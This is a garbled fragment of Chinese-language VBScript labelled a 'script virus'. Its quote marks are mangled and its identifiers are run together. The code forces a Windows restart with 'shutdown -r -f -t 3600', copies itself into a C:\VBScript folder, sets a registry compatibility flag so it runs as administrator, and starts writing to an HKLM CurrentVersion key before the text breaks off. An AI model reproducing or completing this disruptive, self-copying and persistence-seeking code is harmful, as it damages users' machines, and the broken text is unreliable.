1、xufsoCreateFolder quotC\VBScript\quotwscrtrun quotshutdown r f t 3600 c 脚本与批处理程序相结合成功quotxufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile。
2、wsregwrite quotHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\TARGETDIR脚本病毒加强版vbsquot，quotRUNASADMINquot，quotREG_SZquotwsregwrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\。